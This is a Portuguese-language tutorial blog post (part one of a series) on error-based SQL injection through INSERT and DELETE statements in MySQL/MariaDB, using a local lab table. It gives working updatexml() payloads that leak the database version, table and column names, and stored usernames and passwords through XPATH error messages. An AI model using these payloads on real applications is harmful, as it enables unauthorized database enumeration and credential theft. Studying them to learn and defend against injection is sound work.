/ security

Injeção SQL em statements não usuais - #01

Pois é, algo que vem me incomodando muito da galera que está se aprofundando na vulnerabilidade mais famosa explorada pelos garotos mascarados que julgam necessário invadir padarias, não é totalmente explorada, especialmente para aqueles que gostam de brincar de pwnega na unha, sem ter um SQLMAP ou algum toolset pra ajudar.

Vou focar aqui, especialmente no DBMS mais consumido em aplicações web de pequeno e grande prote, muito adorado pelos desenvolvedores brasileiros, o conjunto do MariaDB e MySQL.

Sempre que pergunto sobre o processo de exploration de injeções SQL, boa parte da galera estão mais abituadas somente em queries baseadas em UNION queries, especialmente baseadas em erros clássicos e cegos (boolean-based) ou em tempo (time-based).

Quando pensamos em vetores focados na exploração das instruções INSERT, estamos sempre pensando no controle utilizado para exploração na indexação de informações em uma instância de base de dados do back-end.

Nesse processo, passamos a ter uma infinidade de vetores pós-exploratórios a injeção baseada em erros cegos, possibilitando desde a enumeração, até mesmo a escrita em um arquivo com algo que contenha INTO FILE ou coisa parecida.

Vale lembrar, que todo esse processo, não é diretamente relevante e 100% funcional, diversos fatores mandam sobre como o processo de invasão deve ser realizado, um ambiente onde não temos a escapagem dos caracteres ou de palavras maliciosas de uma lista negra, temos uma liberdade imensa para criação de payloads, porém, tudo depende diretamente do seu poder de usar o tampering ao favor de suas queries.

setup();

Recomendo que você tenha qualquer instância de base de dados para seguir os exemplos demonstrados aqui. Nosso foco não é apresentar processos de adulteração dinâmica dentro das queries para um possível bypassing do sistema back-end do seu cliente, e sim entender alguns possíveis vetores para sua exploration.

Agora, se mesmo assim, quiser consumir um laboratório de nicho, você pode fácilmente cria-lo com alguns comandos:

  1. Vamos primeiro criar uma nova instância de base de dados para brincar:
CREATE DATABASE TEST_DB;
  1. Com a nova instância criada, vamos seleciona-la:
USE TEST_DB;
  1. Vamos agora criar uma tabela para servir de vetor de ataque via instruções (statements):
CREATE TABLE dummy
 (
 id int(3) NOT NULL AUTO_INCREMENT,
 username varchar(20) NOT NULL,
 password varchar(20) NOT NULL,
 PRIMARY KEY (id)
 );
  1. Populando alguma informação:
INSERT INTO dummy (id, username, password) VALUES (1, 'Jhon Doe', '1337');
  1. Seu resultado será similar ao meu:
    Resultado da execução das queries.

Com o setup parcial do "laboratório" completo, podemos prosseguir para a parte que interessa, que é justamente as queries maliciosas que vão permitir a manipulação completa da aplicação web.

injection_process();

Com a configuração que já temos, podemos partir para a injeção direta, utilizando o comma-pattern para injetar código malicioso:

INSERT INTO dummy (id, username, password) VALUES (1, "malandro", '1337');

Podemos sofisticar o vetor, indo para uma payload baseada na injeção via updatexml(), que é literalmente a mesma coisa que uma XPATH injection, por tanto, se você tiver algum conhecimento sobre o assunto, vai se sentir em casa ao utilizar esse tipo de payload para exploração.

version_enumeration();

Para instruções baseadas em INSERT, que de fato é o termo mais corriqueiro em aplicações web, podemos tentar algo como:

INSERT INTO dummy (id, username, password) VALUES (666,'Jhon Doe' or
updatexml(1,concat(0x7e,(version())),0) or'', '1337');

Para essa execução, vamos ter uma linda stdout da execução da instrução:
Captura-de-tela-de-2018-02-11-23-21-59

O mais importante desse poderoso vetor baseado em erro cego, é que funciona nas principais instruções de injeção de queries maliciosas, por tanto podemos molda-la, de acordo com a necessidade do ambiente.

data_enumeration();

Assim como vimos no tópico anterior, podemos também prosseguir com o processo indo mais além: Extraindo informações de outras, ou da mesma, instância de base de dados que o usuário contemple qualquer tipo de acesso.

Por convenção, é sempre falado focadamente nas instruções baseadas em INSERT para o dumping, o processo de criação de payloads se mantém para qualquer outro statement.

Para enumerar informações contidas no no SCHEMA da instância, podemos fazer isso de diversas maneiras, porém, a mais corriqueira é:

INSERT INTO dummy (id, username, password) VALUES (666,'Jhon Doe' or updatexml(0,concat(0x7e,(SELECT concat(table_name) FROM information_schema.tables WHERE table_schema=database() limit 0,1)),0) or '', '1337');

Na execução dessa instrução, você tera o aviso que mais buscamos, um erro baseado na execução mal sucedida da função, apontando para um erro na sintaxe da querie, na injeção do XPATH.

Com isso, em um outro cenário, já temos total conhecimento das tabelas existentes em uma instância de base de dados desse tipo. Por tanto, podemos partir para a enumeração dos valores das mesmas.

Isso consiste simplesmente no consumo direto da enumeração das colunas, que podem ser consumidas seus nomes através de uma querie ao SCHEMA da instância:

INSERT INTO dummy (id, username, password) VALUES (666,'Jhon Doe' or updatexml(0,concat(0x7e,(SELECT concat(column_name) FROM information_schema.columns WHERE table_name='dummy' limit 0,1)),0) or '', '1337');

A certeza da existência de uma tabela dummy, é confirmada eplo resultado da execução apontar um erro de sintaxe XPATH no parâmetro da função:

Captura-de-tela-de-2018-02-11-23-39-51-1

Dessa forma, podemos enumerar todos os nomes de cada coluna da tabela. Com isso, a possibilidade do dump é real, e pode ser mais fácilmente conquistada com o embedded das instruções UPDATE e DELETE.

Após a enumeração, podemos utilizar o primeiro exemplo basedado na primeira das instruções:

INSERT INTO dummy (id, username, password) VALUES (666,'Jhon Doe' or updatexml(0,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM dummy limit 0,1)),0) or '', '1337');

Caso você estranhe a saída do erro, experimente adicionar mais alguns valores a tabela:

Captura-de-tela-de-2018-02-11-23-45-55

E agora execute a querie maliciosa novamente, alterando o alcanse via LIMIT, tendo em vista o limite de 1 linha de retorno das subqueries:

Captura-de-tela-de-2018-02-11-23-49-08

E magicamente, temos todos os valores da tabela dentro da instância do banco de dados consumindo subqueries junto de SELECT para realizar o trabalho da coleta de informações.

Como dito no começo dessa sessão, também podemos utilizar as instruções baseadas em DELETE para realizar a enumeração de dados:

DELETE FROM dummy WHERE id=1 or updatexml(0,concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM dummy limit 0,1)),0) or '';

Uma maneira mais coesa, exuta e simples, e justamente por isso, mais comunmente barradas em WAFs básicos, porém, quando tudo ocorre como o esperado, você tem uma linda resposta como essa:

Captura-de-tela-de-2018-02-12-00-01-18

Com isso, temos concluida a primeira parte do que vai resultar em um mais um papper brasileiro, espero que tenham gostado, e até a continuação deste!